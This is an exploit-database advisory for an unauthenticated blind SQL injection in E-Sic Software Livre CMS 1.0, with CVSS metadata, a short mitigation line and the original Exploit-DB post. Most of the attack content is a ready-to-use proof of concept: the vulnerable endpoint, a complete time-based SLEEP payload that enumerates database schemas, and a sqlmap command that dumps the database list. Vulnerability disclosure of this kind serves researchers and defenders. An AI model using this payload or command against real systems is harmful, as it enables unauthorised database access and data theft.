E-Sic Software livre CMS - Blind SQL Injection

vendor:

E-Sic Software Livre

by:

Guilherme Assmann

6,5

CVSS

MEDIUM

Blind SQL Injection

CWE

Product Name: E-Sic Software Livre

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: N/A

Related CWE: N/A

CPE: a:software_publico_br:e-sic_software_livre

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux, Windows 7, 8.1, 10 - Firefox

2017

E-Sic Software livre CMS – Blind SQL Injection

The vulnerability is in the search private area of e-sic without authentication. The payload used is '1' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(HEX(IFNULL(CAST(schema_name AS CHAR),0x20))) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 13,1),11,1))>1,0,5)))))oslN)-- UACx and the command used is sqlmap -v 5 -u 'http://localhost/esiclivre/restrito/inc/lkpcep.php?q=1' --level 5 --random-agent --hex --dbs

Mitigation:

Input validation, authentication, and authorization should be implemented to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: E-Sic Software livre CMS - Blind SQL Injection
# Date: 12/10/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://softwarepublico.gov.br/
# Version: 1.0
# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
# Download https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations: https://k33r0k.wordpress.com/2017/10/12/e-sic-sql-injection/#more-398

The vulnerability is in the search private area of e-sic without authentication
---------------------------------------------------------------------
Poc:
  Url: http://vulnerable/esiclivre/restrito/inc/lkpcep.php?q=1

  Parameter: q (GET)

  Payload: 1' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(HEX(IFNULL(CAST(schema_name AS CHAR),0x20))) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 13,1),11,1))>1,0,5)))))oslN)-- UACx

  sqlmap -v 5 -u "http://localhost/esiclivre/restrito/inc/lkpcep.php?q=1" --level 5 --random-agent --hex --dbs